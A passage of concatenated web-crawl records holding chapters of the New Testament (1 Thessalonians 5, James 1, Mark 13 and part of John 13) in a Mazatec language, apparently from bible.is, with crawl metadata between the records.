xi̱ta̱ kìi̱, ta nga̱tjì‑la̱ jñà xá ra 'sín. Ko̱'sín 'nchán ti̱tsa̱jnako̱o xàngio̱o nga jngó jngó‑no. 14Jiòn 'ndsé ko̱ tichjeé, 'koa̱á ti̱'sín bitsa'ba‑laji̱n, nga 'ñó ti̱nákjoa̱ko̱o jñà ra ta jyò tjítsa̱jna nga mì mé xá i̱nchi'sín, ti̱'ñó jiòn ikon jñà ra inda tjín kjo̱bítsjen‑la̱, ti̱si̱ko̱o jñà ra inda tjín inìma̱‑la̱, katachíkjoa̱jin‑ko̱‑no ko̱ nga'tsì jñà xi̱ta̱ kìi̱. 15Ti̱kinda̱a xàngio̱o nga mì ti̱ yá ra ko̱'sín si̱ìjndà‑ni tsa 'kia̱ yá ra 'cho si̱ìko̱; ta isa̱á jnchro jè tjatsjio ki'ta nga nda siko̱o xi̱ta̱ xàngio̱o ko̱ ta yá xi̱ta̱-isa‑nioo̱. 16Kji'tá ni̱chjin nga tsja 'tè‑la inìma̱‑no. 17Titsa'ba ki'ta‑la Nainá. 18'Ti̱‑la kjo̱nda Nainá ni̱'sín ta mé kjoa̱ ra ko̱ma'tion, nga̱ 'koa̱á 'sín mejèn‑la̱ ra jè ra a̱'ta tsa̱jiòn ra makjiín‑no a̱'ta 'tse̱ Cristo Jesús. 19Kì jiòn batechjà‑la xá ra 'sín Inìma̱ Tsje‑la̱ Nainá. 20Kì nachrjengio 'én‑la̱ jñà ra síchjeén Nainá nga chja̱ ngajo‑la̱. 21Nda kjón chjí'ta ítjòn nga'tsì 'én. Jñà ti̱chjeén jñà ra nda tjín, 22ko̱ ti̱náchrjengio nga'tsì ra 'cho tjín. 23Jè Nainá ra tsjá kjo̱'nchán, nda kjón katasítsje‑najiòn; nda kjón‑ní katasíkinda̱ jè inìma̱ tsje‑no, ko̱ kóho'ki ijo‑no mé‑ni nga ni̱mé jé 'se̱‑no ko̱ ni̱mé ra ma ko̱chrjengi‑no 'kia̱ nga kj'i̱í india‑ni Jesucristo ra tíjna ítjòn‑ná. 24Nga̱ jè Nainá ra xá kiìchja̱‑no síhitjasòn ijye‑ní nga'tsì 'én ra chja̱, ko̱ 'koa̱á 'sín si̱hitjasòn. 25'Ndsé ko̱ tichjeé, ti̱'koa̱ 'ñó titsa'batjì‑náji̱n. 26Ngi ko̱ó inìma̱‑no ti̱kjáya‑la nga'tsì xàngio̱o. 27'Koa̱á 'sín tíbi'tín‑no nga 'ti̱‑la 'én‑no Na̱'ín‑ná nga chitá'yá‑no xa̱jo̱n ra̱kìi̱ ya̱ a̱jin‑la̱ nga'tsì xi̱ta̱ xàngie̱é. 28Ko̱'sín katatsjá‑no kjo̱nda‑la̱ jè Jesucristo ra tíjna ítjòn‑ná.\n1 Tesalonicenses 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1Thess\/5","date":"2013-12-12T12:14:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164582561\/warc\/CC-MAIN-20131204134302-00015-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000077486,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"maa_Latn_score\": 1.0000077486038208}","num_words":600,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.298,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'A̱n ra Santiago 'mì‑na, ra chi̱'nda‑la̱ Nainá ma ko̱ ti̱'koa̱á chi̱'nda‑la̱ Jesucristo ra tíjna ítjòn‑ná, tísixó'tà‑no jiòn ra ya̱ inchrabà'ta‑no tje̱‑la̱ xi̱ta̱ na̱xi̱ndá Israel ra tejò kjomà, jiòn ra jndíi̱ ra ján titsa̱jna ta ñánda̱ i̱'nde‑ni ta nga tíjngo i̱sà'nde. 2Jiòn ra 'ndsé chibé a̱'ta 'tse̱ Cristo, 'kia̱ nga ni̱'sín ta mé kjoa̱ ra ko̱tojiòn, ta isa̱á jnchro jngo kjá tsjaá 'tè‑la takòn. 3Ijyeé 'ya jiòn 'kia̱ nga ko̱'sín tjá'ta a̱'ta 'tse̱ kjoa̱ ra makjiín‑najiòn, ya̱á sa̱kò-isa‑najiòn nga'ñó kó'sín ma ki̱chíkjoa̱jin‑no a̱'ta 'tse̱ kjoa̱ ra ko̱ka̱ma'tin‑isa jiòn a̱skan‑nioo̱. 4Ko̱ jè nga'ñó ra sa̱kò‑no nga nda chíkjoa̱jin‑no, ndaá katasíxájin ya̱ inìma̱‑no mé‑ni nda katajchá‑ni kjo̱bítsjen‑la̱ inìma̱‑no, ko̱ ngi tíjna tíjngo‑ni nga ni̱mé ra jchi̱ja'ta‑la̱. 5Tsa tjín i'ka jiòn ra tsìn‑no kjo̱bítsjen, ti̱jé'tà‑la Nainá; tsjá‑no ra jè. Nga̱ jé Nainá, ngi ko̱ó inìma̱‑la̱ nga tsjá, ko̱ mì tsa ta ko̱ kjo̱jti‑la̱ tsjá 'kia̱ nga yá ra síjé'ta‑la̱. 6Tanga ngi nda kjón‑ní katakjiín‑no 'kia̱ nga si̱jé; kì tà chjàn tà jò 'bè‑la takòn; nga̱ jè xi̱ta̱ ra jò 'bé‑la̱ ikon, 'koa̱á 'sín ngoya‑la̱ koni jè ndáchikon 'kia̱ nga jè tjo̱, ra fì ra nchrabá síko̱. 7Jè xi̱ta̱ ra ko̱'sín tà jò tjín ikon, kì tà chjàn ko̱'sín síkítsjen nga tjín ra tjábé‑la̱ ra a̱'ta 'tse̱ Na̱'ín‑ná. 8Nga̱ jè xi̱ta̱ ra mì kì tjíjngo ikon, kj'ií 'sín tísíkítsjen 'ndi̱ 'ndi̱, ko̱ nchijòn ijyeé kj'ií tsò‑ni kjo̱bítsjen‑la̱; ko̱ mì kì ma‑la̱ nga kjábé jè ndi̱yá ra kixi̱ tjín. 9Tsa tjín i'ka 'ndsé ra 'ñó i'in títsa̱jna, tsjaá kata'bé‑la̱ ikon, nga̱ ya̱ ngixko̱n Nainá 'ngaá títsa̱jna. 10Tanga jñà ra xi̱ta̱ nchi̱ná, tsjaá kata'se‑la̱ nga nangi kítsa̱jna ya̱ ngixko̱n Nainá. Nga̱ jñà ra xi̱ta̱ nchi̱ná, 'koa̱á 'sín ko̱ka̱ma'tin koni 'sín ma jè naxó‑la̱ xka̱ ijñá ra mì tsa tse fichjin‑la̱. 11'Kia̱ nga bitjo tsá'bí ko̱ 'ñó tsje ma ndabá‑la̱, jè xka̱ ijñá, xì‑ní, ko̱ jè naxó‑la̱ kàtje̱n‑ngi‑ní, ko̱ chija ijye‑ní koni 'sín nga nda 'ki i̱sén‑la̱. Jè ra xi̱ta̱ nchi̱ná, 'koa̱á 'sín ta ya̱ ki̱yájin a̱'ta 'tse̱ xá ra 'sín, ñánda̱ nga tse síkijnesòn to̱n‑la̱. 12Mé ta̱ nda‑la̱ jè xi̱ta̱ ra chíkjoa̱‑la̱ 'kia̱ nga tjá'ta. 'Kia̱ nga ijye chíkjoa̱jin‑la̱ kjoa̱ ra sko̱ó'ta; tjábé‑la̱ kjo̱binachon ra mì fehe'ta koni 'sín ijye kitsjà tsa'ba Nainá a̱'ta 'tse̱ jñà xi̱ta̱ ra tsjake. Tjábé‑la̱ kjo̱binachon koni tsa jngo corona si̱'a sko̱ [koni 'sín nga tjábé jngo‑la̱ trofeo jñà xi̱ta̱ ra síská 'kia̱ nga síkijne]. 13Tsa 'kia̱ nga tjá'ta jiòn ko̱ kjoa̱hajin‑no nga mejèn‑no 'sia̱an kjoa̱ ra 'cho tjín, kì tà chjàn bixó: \"Jé‑la Nainá ra ko̱'sín tíkjó'tá‑ná.\" Nga̱ jè Nainá mì tsa ko̱'sín tjín kjo̱bítsjen‑la̱ nga 'cho 'si̱in, ko̱ mì tsa ko̱'sín mejèn‑la̱ nga jñà xi̱ta̱ katabátsji‑jé. 14Tanga tsa 'kia̱ jngo xi̱ta̱ tjá'ta nga ko̱'sín 'sín kjoa̱ ra 'cho tjín, ti̱jñá‑ni kjoa̱'cho ra tsjake ra síkjaájin‑la̱ ko̱ sískáya‑la̱ kjo̱bítsjen‑la̱. 15'Kia̱ nga ijye matse jè kjoa̱'cho ra jè matsjake, ya̱á nchrabá‑ni nga batsíjen ra kjoa̱ 'tse̱ jé, ko̱ 'kia̱ nga ijye matse jè ra kjoa̱ 'tse̱ jé, a̱kjòn ya̱á nchrabá jè ra kjo̱biya. 16Jiòn ndí 'ndsé ra 'ñó tsjake̱‑no, kì ijo‑no chìndo̱cha̱‑la. 17Nga'tsì kjoa̱ ra nda tjín ko̱ ra kixi̱ tjín ra tjábé‑ná, ya̱á i'ngaá nchrabá‑ni ra a̱'ta 'tse̱ Nainá, jè ra tsikínda nga'tsì tsajmì ra síhisen‑ná, jè Nainá ra ni̱kjiá fahatjìya‑la̱ kjo̱nda ra tsjá koni 'sín nga fahatjìya‑la̱ jè 'ngién. 18Jè Nainá, 'koa̱á 'sín kjomejèn‑la̱ nga a̱'ta 'tse̱ 'én kixi̱‑la̱ kitsin xi̱tse̱ india‑né, mé‑ni ta nga'tsì ra jè tsikínda, jién ko̱meé koni jñà tsajmì tje̱ ra majchá ítjòn ra jè manga̱tsja. 19Jiòn ndí 'ndsé ra tsjake̱‑no, nda katasijin‑no kjoa̱ kìi̱, machjeén‑ní nga ta ti̱tsa̱jnanda ki'ta‑no nga nda ti̱ná'ya ko̱ nga sisin kjón‑ní ti̱nákjoa̱a 'kia̱ nga mé 'én ra ki̱nákjoa̱a, kì ta majti ndi̱to̱n‑no. 20Jngo xi̱ta̱ jtitakòn, mì tsa kixi̱ tjín kjoa̱ ra 'sín ya̱ ngixko̱n Nainá. 21'Koa̱á ma‑ni, chjáaxìn‑la ijo‑no nga'tsì kjoa̱ ra tjé tjín ko̱ nga'tsì kjoa̱'cho ra 'ñó tjín i̱ i̱sà'nde. Ngi ko̱ó kjo̱hi̱ma̱takòn‑no chjíbétjò jè 'én ra ijye ya̱ isitje̱jin ya̱ inìma̱‑no, jè ra tjín‑la̱ nga'ñó nga ma‑la̱ ko̱chrjekàjin‑no kjo̱hi'in. 22Mì tsa ta ya̱ kje̱he'tà nga ti̱ná'ya jè 'én nda‑la̱ Nainá; machjeén‑ní nga ki̱tjasòn, ko̱ tsa mì ko̱'sín 'sia̱an, ti̱jión i̱nchichìndo̱cha̱‑la ijo‑no. 23Jè ra ta 'nchré 'én nda‑la̱ Nainá, ko̱ mì kì tsa tísíhitjasòn‑ni, 'koa̱á 'sín jngoya‑la̱ koni jngo xi̱ta̱ ra kotsíjen‑yá chi̱tsín. 24Nda kjón‑ní nga kotsíjen'á i̱sén‑la̱, tanga 'kia̱ nga ijye síkáfa‑ni í'tsi̱n, ta ndi̱to̱ón 'chaàjin‑la̱ kó'ki kjòn‑ni i̱sén‑la̱. 25Jè ra ngi ya̱ tjí'ta xko̱n kó'sín nga tíchja̱ jè kjo̱téxoma ra ni̱mé chija'ta‑la̱, kjo̱téxoma ra síkíjnandi̱í‑ná, ko̱ ngi ya̱ tíjnajin ki'ta kjo̱bítsjen‑la̱, mì kì tísíjchaàjin kó'sín nga tíchja̱ jè kjo̱téxoma ra̱kìi̱, ta isa̱á jnchro tísíhitjasòn, jè‑ní ra 'ñó 'se̱‑la̱ kjo̱tsja 'kia̱ nga ko̱'sín 'si̱in. 26Tsa tjín i'ka xi̱ta̱ ra tsò nga 'ñó nda bexkón Nainá, tanga tsa mí kì ma‑la̱ síkinda̱ jè ndi̱je̱n‑la̱, ti̱jé tíbíndo̱cha̱‑la̱ ijo‑la̱ ko̱ ni̱mé chjí‑la̱ ni̱'sín ki̱tso̱ nga ndaá bexkón Nainá. 27'Kia̱ nga ngi kixi̱ kjoa̱ nga nda 'yaxkén Nainá ra Na̱'ín‑ná koni 'sín nga jè mejèn‑la̱, 'kia̱á‑ní 'kia̱ nga bisìke̱é jñà ndí i̱xti jch'a̱n ko̱ jñà íchjín jch'a̱n ra 'ken 'xi̱n‑la̱ 'kia̱ nga i̱nchibato kjo̱hi'in ko̱ 'kia̱ mì tsa ya̱ tjiníjchájieén ijo‑ná jñà kjoa̱'cho ra tjín i̱ i̱sà'nde.\nJacobo Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Jas\/","date":"2013-12-04T21:33:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163037418\/warc\/CC-MAIN-20131204131717-00068-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":40,"top_langs":"{\"maa_Latn_score\": 1.000009536743164}","num_words":828,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.339,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'e̱ nga itjo‑ne ndi̱tsin i̱ngo̱ ítjòn, Jesús, jngoò xi̱ta̱ xi kota'yàt'aà‑la̱ kitsò‑la̱: ―Maestro, chítsejèn‑la̱ mé tà ndaà kjoàn ni'ya ko̱ nda̱jo̱‑la̱. 2Kitsò Jesús: ―Chítsejèn‑là ngats'iì ni'ya koi xi iì kjoàn. Ni̱ì ti̱ jngoò nda̱jo̱ si̱yijòsòn‑la̱ xíkjín. Ki̱xo̱ña yije‑né kóho̱tjín. 3Jesús, k'e̱ nga tíjna ya̱ nindoò Yá Olivo ya̱ kixi̱‑la̱ I̱ngo̱ Ítjòn ts'e̱ Jerusalén, jè Pedro, Jacobo, Juan ko̱ Andrés, ijchò kinchat'aà‑la̱ Jesús, kiskònanguit'aàxìn‑la̱ kitsò‑la̱: 4―Koa̱tìn‑náje̱n, ¿mé na̱chrjein‑ne nga o̱ko̱ma kjoa̱ koi? ¿Mé seña xi s'e̱ k'e̱ nga jye mejèn ki̱tasòn yije kjoa̱ koi? 5Kiìchja̱ Jesús, kitsò‑la̱: ―Ti̱kinda̱a yijo‑nò nga mì yá xi̱ta̱ xi skóna̱cha̱n‑nò. 6Kjìn xi̱ta̱ kjoi̱í xi 'ín ts'a̱n si̱ìkjeén; ki̱tso̱: \"'A̱n‑ná xi Cristo, [nga 'a̱án kisìkasén‑na Nainá].\" Ko̱ kjìn xi̱ta̱ skóna̱cha̱n‑la̱. 7'Jñò, k'e̱ nga ki̱ná'ya kjoa̱ ts'e̱ kjo̱jchán nga xki̱ xi ján i̱'nde tjín, kì tsakjoòn‑jèn. Xó k'oa̱á ko̱ma‑ne, ta̱nga kj'eè tsà i̱sò'nde tífehet'aà. 8Na̱xa̱ndá ska̱àn‑kjoò xi kj'ei̱í na̱xa̱ndá. Koa̱ xi̱ta̱xá koi̱ìts'ia̱ nga ska̱àn‑kjoò ko̱ xi̱ta̱xá xi kj'ei̱í na̱xa̱ndá. Xki̱ xi ján k'oa̱ ch'ón. S'e̱ kjinchrá. S'e̱ kjoa̱siì. Jñà kjoa̱ koi, tà jè xi sa̱ tímats'ia̱ko̱ kjo̱'in. 9'Ndaà ti̱kinda̱a yijo‑nò nga ya̱á ski̱nìt'aà‑nò nguixko̱n xi̱ta̱xá. Si̱ki'oón‑nó nga ska̱àn‑ko̱‑nò xi̱ta̱ ya̱ ni'ya i̱ngo̱ sinagoga. Kji̱ko̱‑nò nguixko̱n xi̱ta̱xá gobernador ko̱ xi̱ta̱xá ítjòn, tà koií kjoa̱‑la̱ i̱t'aà ts'a̱n. K'oa̱á s'ín ko̱ma ki̱nókjoa̱‑là 'én xi ts'a̱n. 10Mochjeén‑nè nga ítjòn ko̱bísòn 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo nga tíjtsa i̱sò'nde. 11K'e̱ ki̱jchò nguixko̱n xi̱ta̱xá, kì makájno‑nò kós'ín ki̱nókjoa̱a. Kì nìkítsjeèn‑jèn. Nga ti̱k'e̱é‑ne, Nainá tsjá‑nò 'én xi ki̱nókjoa̱a. Nga mìtsà jñò xi ki̱nókjoa̱a; jè Ini̱ma̱ Tsjeè‑la̱ Nainá xi ki̱chja̱ ngajo‑nò. 12Ti̱jè‑ne 'ndse̱ si̱ìnga̱tsja 'ndse̱ xi̱ta̱ nga si̱ìk'en. Jè na̱'èn‑la̱ si̱ìnga̱tsja ki'ndí‑la̱ nga si̱ìk'en xi̱ta̱. Jñà i̱xti‑la̱ si̱ìnga̱tsja na̱'èn‑la̱ nga ki̱yá. 13Ngats'iì xi̱ta̱ i̱sò'nde ko̱jtikeé‑nò xi kjoa̱ ts'a̱n; ta̱nga jè xi ki̱chìkjoa̱‑la̱ skanda k'e̱ nga kjoe̱het'aà‑ne kjoa̱, jè xi ki̱tjokàjiìn kjo̱'in. 14'K'e̱ nga jcha̱a nga 'ñó ch'o tíma ya̱ I̱'nde Tsjeè‑la̱ Nainá ñánda mìkiì ok'ìn‑la̱, [koni s'ín kiskiì Daniel xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá]. (Kàtasijiìn‑la̱ jñà xi̱ta̱ xi bíxke̱ xo̱jo̱n jé.) K'e̱ nga o̱ko̱ma kjoa̱ koi, jñà xi̱ta̱ xi títsa̱jna Judea, kàtanga, kàtjì ñánda nindoò choòn. 15Jè xi tíjnasò'nga ni'ya‑la̱, kì ti̱ kiì nchrobájen‑ne, kì ti̱ kiì fahas'en‑ne ni'ya‑la̱ tsà mé xi mejèn‑la̱ nga skoé. 16Jè xi tísíxájiìn nangui‑la̱ kì ti̱ kì nchrobá‑ne nga nchrohókjá nikje‑la̱. 17¡I̱ma̱ xó‑ne jñà íchjín xi ki'ndí 'ya ko̱ xi i̱xti xó nchisíkaki jñà na̱chrjein koi! 18Ti̱jét'aà‑là Nainá nga mì k'e̱é o̱ko̱ma k'e̱ nga na̱chrjein‑la̱ cho̱n 'nchán. 19K'e̱ nga jè na̱chrjein nga o̱ko̱ma, 'ñó tse kjo̱'in s'e̱, kj'eè ñá o̱ma skanda tje̱n‑ne tsibíndaà i̱sò'nde Nainá koa̱ mì ti̱ kiì o̱ko̱ma‑ne nga ko̱ma i̱skan. 20Tsà mì k'oa̱á ki̱tso̱ Nainá nga ìsa̱ ko̱chiba na̱chrjein, ni̱jngoò xi̱ta̱ ki̱tjokàjiìn kjo̱'in. Ta̱nga koií kjoa̱‑la̱ jñà xi̱ta̱ xi xó jaàjiìn‑ne Nainá, ko̱chibaya na̱chrjein. 21'K'e̱ nga tsà yá xi ki̱tso̱‑nò: \"Chítsejèn‑là, i̱í tíjna Cristo [xi̱ta̱ xi xó kisìkasén‑ne Nainá]\", o tsà ki̱tso̱‑nò: \"Chítsejèn‑là, ján tíjna ján\", kì kiì mokjeiín‑nò. 22Kjoi̱í xi̱ta̱ ndiso xi Cristo ki̱tso̱‑la̱ yijo‑la̱, ti̱koa̱á kjoi̱í xi̱ta̱ xi koa̱ ti ki̱tso̱ nga jñà xi chja̱ ngajo‑la̱ Nainá. K'oa̱á ti̱s'ín ko̱kò seña ko̱ kjo̱xkón xi ndaà tjín nga skóna̱cha̱n. Skanda jñà xi̱ta̱ xi jye jaàjiìn Nainá mejèn skóna̱cha̱n‑la̱ tsà ko̱kjeiín‑la̱. 23Ti̱kinda̱a yijo‑nò. Nga jyeé tìbeno̱jmíya yije‑nò ngats'iì kjoa̱ xi ko̱ma i̱skan. 24'K'e̱ nga ko̱ma i̱skan nga jye ko̱to na̱chrjein ts'e̱ kjo̱'in, jè ts'oí ko̱jñò‑né, mì ti̱ kiì ko̱tsjè‑ne ndobá‑la̱; ti̱koa̱á jè sá mì ti̱ kiì ko̱hiseèn‑ne. 25Ni'ño xi tjín ngajmiì, ki̱xo̱ngui‑né. Jñà nga'ñó xi tjín ngajmiì ki̱ti̱ya yijeé‑la̱. 26I̱kjoàn skoe̱‑na xi̱ta̱ xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱ nga kji̱nchrobàjñaà i̱jiìn ifi; tseé nga'ñó ko̱ kjoa̱jeya kjoi̱ikoa̱a. 27Siìkasén àkja̱le̱‑na̱ nga koi̱ìxkóya xi̱ta̱‑na̱ xi 'a̱n xó jaàjiìn‑na nga ñijòn chrja̱ngui̱‑la̱ nga tíjtsa i̱sò'nde ko̱ nga tíjtsa ngajmiì. 28'Chíta'yàko̱ò jè yá‑la̱ toò iko̱ mé xi okóya‑ná; k'e̱ nga ma kíndíya chrja‑la̱, i̱kjoàn bíjts'én xka̱‑la̱, tíjiìn‑nò nga jye nchrobá machrañà cho̱n ndobá. 29K'oa̱á ti̱s'ín tjín, k'e̱ nga jcha̱a nga k'oa̱s'ín tíma kjoa̱ koi, kàtasijiìn‑nò nga 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, jyeé ni̱to̱n kjoia̱a, k'oa̱á ngaya‑la̱ koni tsà jye tìjna̱a chrañà xotjoa̱‑la̱ ni'ya. 30O̱kixi̱í xi xan‑nò, ngats'iì kjoa̱ koi, k'oa̱s'ín ko̱ma k'e̱ nga ti̱kj'eè biyaà xi̱ta̱ xi tjín na̱chrjein i̱'ndei̱. 31Jè ngajmiì ko̱ i̱sò'nde kjoe̱het'aà‑né, ta̱nga jñà 'én‑na̱ mìkiì kjoe̱het'aà; ki̱tasòn‑né. 32'Ta̱nga k'e̱ nga o̱ko̱ma, mì yá xi tíjiìn‑la̱ mé na̱chrjein‑ne ko̱ mé hora‑ne; ni̱ jñà àkja̱le̱ xi títsa̱jna ngajmiì ko̱ ni̱ jè Ki'ndí‑la̱ Nainá tíjiìn‑la̱; ta̱jngoò Nainá xi Na̱'èn‑ná tíjiìn‑la̱. 33'T'e̱en kinda̱ yijo‑nò, ti̱tsa̱jnakon, tìtsi'ba nga mìkiì tíjiìn‑nò kjé‑né nga o̱ko̱ma. 34K'oa̱á s'ín t'e̱en koni s'ín chi̱'nda‑la̱ xi̱ta̱ xi kjiìn i̱'nde tífì, jè xi̱ta̱ xi tífì sínga̱tsja ni'ya‑la̱ xi̱ta̱ chi̱'nda‑la̱. Tsjá‑la̱ xá nga ìjngoò ìjngoò, tsò‑la̱ jè xi síkinda̱ xotjoa̱ ni'ya: \"Ti̱jni, ti̱jnakoin.\" 35K'oa̱á s'ín titsa̱jnakoòn ngats'ioò nga mìkiì 'yaà mé na̱chrjein kjoi̱í‑ne nei‑la̱ ni'ya. ¿A k'e̱é‑nè nga kjòhoxòn, o xi k'e̱é‑nè nga ki̱jchò osen ni̱tje̱n, o xi k'e̱é‑nè nga ski̱ndàya kóxtí, o xi k'e̱é‑né nga jye s'e̱ i̱sén? 36Kì tsjayijòfè‑jèn tsà koi na̱chrjein‑la̱ tà ni̱to̱n j'iì‑ne nei‑la̱ ni'ya. 37Koni s'ín xan‑nò jñò, k'oa̱á xan yije‑la̱ kóho̱tjín xi̱ta̱: \"Titsa̱jnakoòn.\"\nSan Marcos 13","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Mark\/13","date":"2013-12-05T03:08:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163038799\/warc\/CC-MAIN-20131204131718-00082-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000059605,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"maa_Latn_score\": 1.0000059604644775}","num_words":802,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.282,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga ti̱kjè bitjo 'sí paxko̱, Jesús ijye be‑ní nga ijyeé ijchò ni̱chjin‑la̱ nga tsjín jè i̱sà'nde ra̱kìi̱, nga ya̱ kíjnako̱ jè Na̱'ìn‑la̱. Ngi 'koa̱á 'sín 'ñó kjotsjake ki'ta jñà xi̱ta̱‑la̱ ra tjíhijyo i̱ a̱'ta nangi, ko̱ 'koa̱á 'sín kjotsjake skanda ijyehe'tà ni̱chjin. 2'Kia̱ i̱nchibakjèn‑ko̱ jñà xi̱ta̱‑la̱ nga kjòjñò, jè Judas Iscariote, ti‑la̱ Simón, ijyeé ko̱'sín tsikíjin ya̱ inìma̱‑la̱ jè xi̱ta̱‑ni̱í nga jè si̱ìnga̱tsja jè Jesús xi̱ta̱ kondra̱‑la̱. 3Beé jè Jesús nga jè Na̱'ìn‑la̱ kisìnga̱tsja tsje nga'tsì kjoa̱ 'tse̱ kjo̱téxoma‑la̱, ko̱ a̱'ta 'tse̱é inchrabà‑ni ko̱ ya̱á tífì india‑ni. 4Jesús tsasítje̱n'tá ímixa̱, tsachrje nikje ra kjiya sòn'nga, iskábé jngo nikje ra ma nixìjno‑ni ko̱ tsikíkjá ndáyá. 5A̱kjòn iskábé jngo chisá‑tji ra tsikíya nandá, tsikí'tsia̱ nga tsiníjno ndsa̱ko̱ xi̱ta̱ ra kotá'yá'ta‑la̱, a̱kjòn isìxìjno‑ni ko̱ jè nikje ra tjíkjá‑la̱. 6'Kia̱ nga ijchò ñánda̱ tíjna jè Simón Pedro nga ki̱níjno‑la̱ ndsa̱ko̱, jè Simón Pedro kitsó‑ní: ―Na̱'ìn, ¿a bakén‑na nga ji̱ ki̱níjno‑náa̱ ndsa̱koàa̱? 7Kitsó Jesús: ―Mì kì machi̱ya‑li kjoa̱ ra tí'siaa̱n 'ndi̱, tanga a̱skaán ko̱chi̱ya‑li. 8Kitsó Pedro: ―Xá mì kì tsja'ndé‑na nga ki̱níjno‑ná ndsa̱koàa̱. Jesús kitsó‑la̱: ―Tsa mì kì ki̱níjno‑la ndsa̱kì, mì kì ko̱ma xi̱ta̱ tsa̱'a̱n ka̱mi. 9'Kia̱á kitsò jè Simón Pedro: ―Na̱'ìn, kì tà chjàn ta ndsa̱koàa̱ biníjno‑ná, ti̱'koa̱á ti̱níjno‑te‑ná jè ndsa̱ ko̱ skoàa̱. 10Tanga Jesús kitsó‑la̱: ―Jè ra ijye isiníjno ya̱ ijo‑la̱, ta ndsa̱ko̱ó machjeén‑la̱ nga si̱níjno‑isa, nga̱ ijyeé tsjeé 'ki nga tíjngo ijo‑la̱. Ko̱ jiòn‑jiòn, ijyeé tsjeé kjòn jiòn, ni̱'sín mì tsa nga'tsì‑no. 11Jesús ijyeé be yá‑ni ra si̱ìnga̱tsja xi̱ta̱ kondra̱‑la̱, kií ko̱kitsò‑ni: \"Mì tsa nga'tsì‑najiòn nga tsje kjòn.\" 12'Kia̱ nga ijye tsiníjno‑la̱ ndsa̱ko̱ xi̱ta̱‑la̱, Jesús tsakjayaá india‑nì jè na̱chro̱-sòn'nga‑la̱, a̱kjòn tsikijna'ta india‑ní ya̱ ímixa̱, kitsò‑la̱ jñà xi̱ta̱‑la̱: ―¿A machi̱yaá‑no jè kjoa̱ ra kasikó‑no? 13Jiòn, 'koa̱á 'sín bixó nga 'a̱n‑ná jè Maestro‑no ko̱ jè ra tíjna ítjòn‑no; kixi̱í kjoa̱ ra bixó nga 'a̱n kiti‑ná. 14Tsa 'a̱n ra Maestro‑no ko̱ ra tíjna̱ ítjòn‑no kabiníjno‑no ndsa̱kò, jiòn, 'koa̱á ti̱'sín ti̱níjno‑te ndsa̱ko̱ xàngio̱o nga jngó jngó‑no. 15Jngoó xkósòn kàbijná‑no, mé‑ni nga ko̱'sín ti̱ko̱‑te xàngio̱o ra jiòn koni 'sín nga kasikó‑no. 16Ngi 'én kixi̱í ra xin‑no, jngo chi̱'nda, mì tsa jè tíjna ítjòn‑la̱ jè ni‑la̱ xá; ko̱ koni jè ra nikasén nga si̱hitjasòn jngo xá, mì tsa jè isa̱ 'ñó be koni jè ra batéxá‑la̱. 17Ko̱ 'ndi̱‑ni̱ nga ijyeé 'ya kjoa̱ kìi̱, ngi ndaá ki̱tsa̱jna‑no tsa ko̱'sín 'sia̱an nga si̱hitjasòn. 18'Mì tsa ta nga'tsì‑no nga ko̱'sín tíxin‑no, nga̱ bexkon‑ná ra 'a̱n yá‑ni jñà xi̱ta̱ ra 'a̱n tsjahíjia̱n. Tanga tjínè‑la̱ nga ki̱tjasòn koni 'sín tíchja̱ jè Xa̱jo̱n ra tjí'ta 'Én‑la̱ Nainá nga tsò: \"Jè ra bakjèn‑ko̱‑na, ti̱jé tsáfa'ta‑na.\" 19Ti̱'ndi̱í ko̱tíxin‑najiòn, mé‑ni 'kia̱ nga ijye ko̱ka̱ma katakjiín‑no nga 'A̱n‑ná [ra Nainá]. 20Ngi kjo̱hixi̱í ra xin‑no, jè ra ska̱ábétjò jè xi̱ta̱ ra 'a̱n sikásée̱n, 'a̱án‑ní ra ska̱ábétjò‑na; ko̱ jè ra ska̱ábétjò‑na, jé ska̱ábétjò jè ra isìkasén‑na. 21Jesús, 'kia̱ nga ijye ko̱kitsò jñà 'én kìi̱, 'ñó 'on kjomà‑la̱ inìma̱‑la̱, 'kia̱á kitsò: ―Ngi 'én kixi̱í ra xin‑no, ti̱jión jngo‑najiòn ra si̱ìnga̱tsja‑na xi̱ta̱ kondra̱‑na̱. 22Jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús, iskotsíjen‑jnó xákjén nga jngó jngó, nga̱ mì kì be yá‑ni ra ko̱kitsò‑la̱ Jesús. 23Jngo xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús ra ya̱ tíjna'ta chraña‑la̱ 'kia̱ nga i̱nchibakjèn, jè ra 'ñó tsjake Jesús. 24Jè Simón Pedro isíká'bi̱i‑la̱ tsja jè xi̱ta̱ xákjén ra̱kìi̱ ra ya̱ 